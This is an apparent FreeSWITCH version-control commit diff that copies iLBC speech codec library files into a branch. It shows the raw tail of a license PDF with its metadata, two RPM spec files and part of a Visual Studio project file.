~\xDE\xD2*\xAFZ\xF5\xCDs ~\xDE\xD2j\x{135E71}+\xFD\xA4U>\xFF\xB5{\xBC\xBF{\xF8S\xAF\xDF\xEDۭ\xAD6\xD2ˏ\xE5\xF3\xB72\xCFDz\xFD\xF2p[w/\x9F\xF1\xEBrq\xF3\xBC\xFF\xFBi\xF9\xBC\xFB\xE7\xE9\xC3\xEE\x8F\xFD\xE3\xCD\xD3\xDD\xFE\xE13\x80\xBF:5\xBE\xDF\xDF\xEF\xAF\xECp;\xFC]7\xBA4\xA4\xCE\xD1M\x85\xEE\xF1:\xA6\x9F\xEB\xFF\xDD\xB7\xCEh4
+endstream
+endobj
+99 0 obj<</Length 848/Filter/FlateDecode/Type/ObjStm/First 484/N 56/Extends 96 0 R>>stream
+x\xDA\xDCV\xDBNA\xFDK}.;\x9E\xFBH	h\xA5"\xD2\xAA>\xA0<\xA4d\xA1Qi-\x8BT\xFE\xBEǓl`QT\xF1\x90\xCC\xCD\xC7>\xB6\xCFLb\x95#EVy\x8AC 6c$\xCE\xEBD\xDA%\xB2\xAC\xC8\xE0\xCC2\x93\xC9k\xD8\x9C\xB3!gFK.ʾ#\xCF\xA3'\xEF=\xC6@!\xAF#\x85d0&\x84a\xB2ZQ\x94\xB5fJ\xE7Z+|Ym0	@jK\xCCFL\xB1V\xA0\xA8=&^v2I\xB1K#4u"\xB6GF;%\xE4\xCFȆ=h[\xF8boU\xE6\xCD^\x82\x838	j\xE098\xB1\x81\xE7\xC5F\xF2Gk\xE09\x84\x92\xE8Z\xD0\xE7\xCC\xD9j\xD2J\x82\xE2\xA3UkI3\xB6\xADu\xA4\xB5\x94'mڀBJ\xD5\xC0	I\xA0d\xA5
+~\x9C"<\x83\x81\x8E\xF0a<Lj\xE8\x9Er\xB2\x9ES@,\xE7\xD0T\xD7:\x8F\x89\x97\xA3@\x86\x95\xA0"&\x922d\xC0\x95,\x8E\x8DFr\x9B\x9B\xC5\xFE\xB1\x94\xEDRtH\xB9\xB6v>\xC10*v\x8BO\xE5x2\x9D\x9D\xBD\xD3J聗\xE3b\xD8\xDD?\x83O\x91\xCB\xE1֖\xF8\xCCz3\xC0\xAF/\xCA\xFA|:\xFB%\xE0\xB9o\xB7\xBB{\xED\x8A\xED,.9>Ȫ\x9B~\x9BM\xB2a\xB9\xE3k1_WWMqT\xFEi>\x94'U=n\xA6\xD5\xEC\x8Eo\x81\xBA\x87\xBB\xD5yU\xAB
+E\x8BϨ\xA5\xDFG\xD7\xF4\xD15B\xE2i\xE9\xA6פ{\xCCұꆜI\xFA\xBEh!.\xEE\xC3$w\x91\x9F\xDDB9G\xDB\xE68\xF7\xD4\xF0
+Ÿ<\xA9\xA7Mo\x96;\xE3\xCBR2\xFE\x9C\x9E6d\x96e\xF6\xF7\x96Y\xF7\x95Ye
+aI\xC1\xBD\xB2*ҽt\xB9\x87.gUh\xB5\xA4_Ux\x87FB\xC0.ei\xF5cp\xFB	\x8F9\x91ɗ\xAA\xFE=>\xEF(\xA4\xDDZ\x87/\xB6\x8F\xE5\xE5\xC3N)o\xE89ة&\xD7w\xC3\x8A\x94F\x826\xA9Ew\xE5)\xAF\xEFC.\xC0.\xC3c\xDC?\xE7}p\xFD0\\xC7\xE7^(\x9Dr`\xBES\xB4\xC7\xCBm\xE6)\xAB'C\x97^\x8COʝ\xF2\xB4\xAAK<j\xBE\xB1}ڔu^ߕ\xE3\xF6\xF9\xF4lV\xEC\x963\x98t\xE0V\xF5\xC0\xF7\xF3O\xF1B{\xA6};{\x8B\xD6/\xB4\xD16\xB8\xEDT[\xF2Q'\x9D\xC1ң\xE9\xF5\x98\xFF<p\xE8\xFAo\xAAҌ\xEBf\x97c\xD6\xE0\xE1DZ\x92\xF8b\xFD^6\xFEc\xF3y\xE1\xF4\xFC\xAD\x90\xCBl\xD74\xA2V\xD9~\xAF\xA7
+n\xC6\xE7jR\x83\xFA\xE8G'[\xD4\xC7\xD9\xE4\xD6\xEA\xC6y\xB6\xEB\xF8^Q\xAF\xEBV\xEAi\x91s\x9D\xD7\xCDǾ\xA7Ko#\xEF\x97m\xFC?
+{\xB5\x9E\x80a\xEA\xD2\xFA\xA6q}Ӱ\xBE\xA9_\xDF\xD4=\xF1^\xAE\\xC3\xDBŻӨ\xB7f\xFBW\x80\xED\xEA\x8A
+endstream
+endobj
+100 0 obj<</Nums[0 101 0 R]>>
+endobj
+101 0 obj<</S/D>>
+endobj
+102 0 obj<</Count 5/Kids[465 0 R 1 0 R 9 0 R 19 0 R 23 0 R]/Type/Pages>>
+endobj
+103 0 obj<</Length 4113/Type/Metadata/Subtype/XML>>stream
+<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
+<?adobe-xap-filters esc="CRLF"?>
+<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='XMP toolkit 2.9.1-13, framework 1.6'>
+<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#' xmlns:iX='http://ns.adobe.com/iX/1.0/'>
+<rdf:Description rdf:about='uuid:e79ea17a-020a-41f6-bac5-ec8069d6e8a1' xmlns:pdf='http://ns.adobe.com/pdf/1.3/' pdf:Producer='Acrobat Distiller 6.0.1 (Windows)'></rdf:Description>
+<rdf:Description rdf:about='uuid:e79ea17a-020a-41f6-bac5-ec8069d6e8a1' xmlns:pdfx='http://ns.adobe.com/pdfx/1.3/' pdfx:Company='Global IP Sound Inc.' pdfx:_AdHocReviewCycleID='229771773' pdfx:_EmailSubject='freeware license' pdfx:_AuthorEmail='geoffrey.creighton@globalipsound.com' pdfx:_AuthorEmailDisplayName='Geoffrey M. Creighton' pdfx:SourceModified='D:20041209160748'/>
+<rdf:Description rdf:about='uuid:e79ea17a-020a-41f6-bac5-ec8069d6e8a1' xmlns:photoshop='http://ns.adobe.com/photoshop/1.0/'><photoshop:headline><rdf:Seq><rdf:li></rdf:li></rdf:Seq></photoshop:headline></rdf:Description>
+<rdf:Description rdf:about='uuid:e79ea17a-020a-41f6-bac5-ec8069d6e8a1' xmlns:xap='http://ns.adobe.com/xap/1.0/' xap:CreatorTool='Acrobat PDFMaker 6.0 for Word' xap:ModifyDate='2004-12-09T17:09:08+01:00' xap:CreateDate='2004-12-09T17:08:37+01:00' xap:MetadataDate='2004-12-09T17:09:08+01:00'></rdf:Description>
+<rdf:Description rdf:about='uuid:e79ea17a-020a-41f6-bac5-ec8069d6e8a1' xmlns:xapMM='http://ns.adobe.com/xap/1.0/mm/' xapMM:DocumentID='uuid:1af4c24e-3f44-4073-a84b-44bd5d3bcd68'><xapMM:VersionID><rdf:Seq><rdf:li>8</rdf:li></rdf:Seq></xapMM:VersionID></rdf:Description>
+<rdf:Description rdf:about='uuid:e79ea17a-020a-41f6-bac5-ec8069d6e8a1' xmlns:dc='http://purl.org/dc/elements/1.1/' dc:format='application/pdf'><dc:title><rdf:Alt><rdf:li xml:lang='x-default'>1</rdf:li></rdf:Alt></dc:title><dc:creator><rdf:Seq><rdf:li>Geoffrey Creighton</rdf:li></rdf:Seq></dc:creator><dc:subject><rdf:Seq><rdf:li></rdf:li></rdf:Seq></dc:subject></rdf:Description>
+</rdf:RDF>
+</x:xmpmeta>
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                                                                                                    
+                           
+<?xpacket end='w'?>
+endstream
+endobj
+104 0 obj<</ModDate(D:20041209170908+01'00')/CreationDate(D:20041209170837+01'00')/Title(1)/Creator(Acrobat PDFMaker 6.0 for Word)/Producer(Acrobat Distiller 6.0.1 \(Windows\))/Author(Geoffrey Creighton)/Company(Global IP Sound Inc.)/_AdHocReviewCycleID(229771773)/_EmailSubject(freeware license)/_AuthorEmail(geoffrey.creighton@globalipsound.com)/_AuthorEmailDisplayName(Geoffrey M. Creighton)/SourceModified(D:20041209160748)>>
+endobj
+xref
+0 461
+0000000000 65535 f
+0000023994 00000 n
+0000024330 00000 n
+0000024450 00000 n
+0000024571 00000 n
+0000024691 00000 n
+0000024811 00000 n
+0000024931 00000 n
+0000025051 00000 n
+0000038565 00000 n
+0000038915 00000 n
+0000039034 00000 n
+0000039155 00000 n
+0000039276 00000 n
+0000039397 00000 n
+0000039518 00000 n
+0000039639 00000 n
+0000039761 00000 n
+0000039883 00000 n
+0000054354 00000 n
+0000054664 00000 n
+0000054785 00000 n
+0000054906 00000 n
+0000065454 00000 n
+0000065768 00000 n
+0000065813 00000 n
+0000074991 00000 n
+0000075149 00000 n
+0000075237 00000 n
+0000075317 00000 n
+0000075384 00000 n
+0000075548 00000 n
+0000075712 00000 n
+0000075876 00000 n
+0000076040 00000 n
+0000076101 00000 n
+0000076168 00000 n
+0000076222 00000 n
+0000076427 00000 n
+0000076573 00000 n
+0000076777 00000 n
+0000076981 00000 n
+0000077129 00000 n
+0000077281 00000 n
+0000077484 00000 n
+0000077687 00000 n
+0000077802 00000 n
+0000077919 00000 n
+0000078062 00000 n
+0000078203 00000 n
+0000078401 00000 n
+0000078604 00000 n
+0000078807 00000 n
+0000079026 00000 n
+0000079262 00000 n
+0000079465 00000 n
+0000079620 00000 n
+0000079825 00000 n
+0000080030 00000 n
+0000080247 00000 n
+0000080464 00000 n
+0000080681 00000 n
+0000080898 00000 n
+0000081115 00000 n
+0000081331 00000 n
+0000081548 00000 n
+0000081765 00000 n
+0000081984 00000 n
+0000082201 00000 n
+0000082418 00000 n
+0000082635 00000 n
+0000082852 00000 n
+0000083069 00000 n
+0000083286 00000 n
+0000083501 00000 n
+0000083716 00000 n
+0000083932 00000 n
+0000084147 00000 n
+0000084362 00000 n
+0000084565 00000 n
+0000084768 00000 n
+0000085016 00000 n
+0000085221 00000 n
+0000085424 00000 n
+0000085640 00000 n
+0000085856 00000 n
+0000086072 00000 n
+0000086288 00000 n
+0000086504 00000 n
+0000086720 00000 n
+0000086936 00000 n
+0000087152 00000 n
+0000087368 00000 n
+0000087584 00000 n
+0000087800 00000 n
+0000088016 00000 n
+0000088232 00000 n
+0000090559 00000 n
+0000091889 00000 n
+0000093187 00000 n
+0000094146 00000 n
+0000094183 00000 n
+0000094208 00000 n
+0000094288 00000 n
+0000098479 00000 n
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+0000000000 65535 f
+trailer
+<</Size 461>>
+startxref
+116
+%%EOF

Deleted: freeswitch/branches/seven/libs/ilbc/ilbc.spec

Copied: freeswitch/branches/seven/libs/ilbc/ilbc.spec (from rev 14471, freeswitch/trunk/libs/ilbc/ilbc.spec) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/ilbc.spec	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/ilbc.spec	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+Summary:    iLBC is a library for the iLBC low bit rate speech codec.
+Name:       ilbc
+Version:    0.0.1
+Release:    1
+License:    Global IP Sound iLBC Public License, v2.0
+Group:      System Environment/Libraries
+URL:        http://www.soft-switch.org/voipcodecs
+BuildRoot:  %{_tmppath}/%{name}-%{version}-root
+Source:     http://www.soft-switch.org/downloads/voipcodecs/ilbc-0.0.1.tar.gz
+BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+Docdir:     %{_prefix}/doc
+
+BuildRequires: audiofile-devel
+BuildRequires: doxygen
+
+%description
+iLBC is a library for the iLBC low bit rate speech codec.
+
+%package devel
+Summary:    iLBC development files
+Group:      Development/Libraries
+Requires:   ilbc = %{version}
+PreReq:     /sbin/install-info
+
+%description devel
+iLBC development files.
+
+%prep
+%setup -q
+
+%build
+%configure --enable-doc --disable-static --disable-rpath
+make
+
+%install
+rm -rf %{buildroot}
+make install DESTDIR=%{buildroot}
+rm %{buildroot}%{_libdir}/libilbc.la
+
+%clean
+rm -rf %{buildroot}
+
+%files
+%defattr(-,root,root,-)
+%doc ChangeLog AUTHORS COPYING NEWS README 
+
+%{_libdir}/libilbc.so.*
+
+%{_datadir}/ilbc
+
+%files devel
+%defattr(-,root,root,-)
+%doc doc/api
+%{_includedir}/ilbc.h
+%{_includedir}/ilbc
+%{_libdir}/libilbc.so
+
+%post -p /sbin/ldconfig
+
+%postun -p /sbin/ldconfig
+
+%changelog
+* Thu Feb  7 2008 Steve Underwood <steveu@coppice.org> 0.0.1
+- First pass

Deleted: freeswitch/branches/seven/libs/ilbc/ilbc.spec.in

Copied: freeswitch/branches/seven/libs/ilbc/ilbc.spec.in (from rev 14471, freeswitch/trunk/libs/ilbc/ilbc.spec.in) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/ilbc.spec.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/ilbc.spec.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+Summary:    iLBC is a library for the iLBC low bit rate speech codec.
+Name:       @PACKAGE@
+Version:    @VERSION@
+Release:    1
+License:    Global IP Sound iLBC Public License, v2.0
+Group:      System Environment/Libraries
+URL:        http://www.soft-switch.org/voipcodecs
+BuildRoot:  %{_tmppath}/%{name}-%{version}-root
+Source:     http://www.soft-switch.org/downloads/voipcodecs/@PACKAGE@-@VERSION@.tar.gz
+BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+Docdir:     %{_prefix}/doc
+
+BuildRequires: audiofile-devel
+BuildRequires: doxygen
+
+%description
+iLBC is a library for the iLBC low bit rate speech codec.
+
+%package devel
+Summary:    iLBC development files
+Group:      Development/Libraries
+Requires:   ilbc = %{version}
+PreReq:     /sbin/install-info
+
+%description devel
+iLBC development files.
+
+%prep
+%setup -q
+
+%build
+%configure --enable-doc --disable-static --disable-rpath
+make
+
+%install
+rm -rf %{buildroot}
+make install DESTDIR=%{buildroot}
+rm %{buildroot}%{_libdir}/libilbc.la
+
+%clean
+rm -rf %{buildroot}
+
+%files
+%defattr(-,root,root,-)
+%doc ChangeLog AUTHORS COPYING NEWS README 
+
+%{_libdir}/libilbc.so.*
+
+%{_datadir}/ilbc
+
+%files devel
+%defattr(-,root,root,-)
+%doc doc/api
+%{_includedir}/ilbc.h
+%{_includedir}/ilbc
+%{_libdir}/libilbc.so
+
+%post -p /sbin/ldconfig
+
+%postun -p /sbin/ldconfig
+
+%changelog
+* Thu Feb  7 2008 Steve Underwood <steveu@coppice.org> 0.0.1
+- First pass

Deleted: freeswitch/branches/seven/libs/ilbc/libilbc.2008.vcproj

Copied: freeswitch/branches/seven/libs/ilbc/libilbc.2008.vcproj (from rev 14471, freeswitch/trunk/libs/ilbc/libilbc.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/libilbc.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/libilbc.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,489 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libilbc"
+	ProjectGUID="{9A5DDF08-C88C-4A35-B7F6-D605228446BD}"
+	RootNamespace="libilbc"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBilbc_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBilbc_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBilbc_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="src; src\ilbc; src\msvc"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBilbc_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				Detect64BitPortabilityProblems="false"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
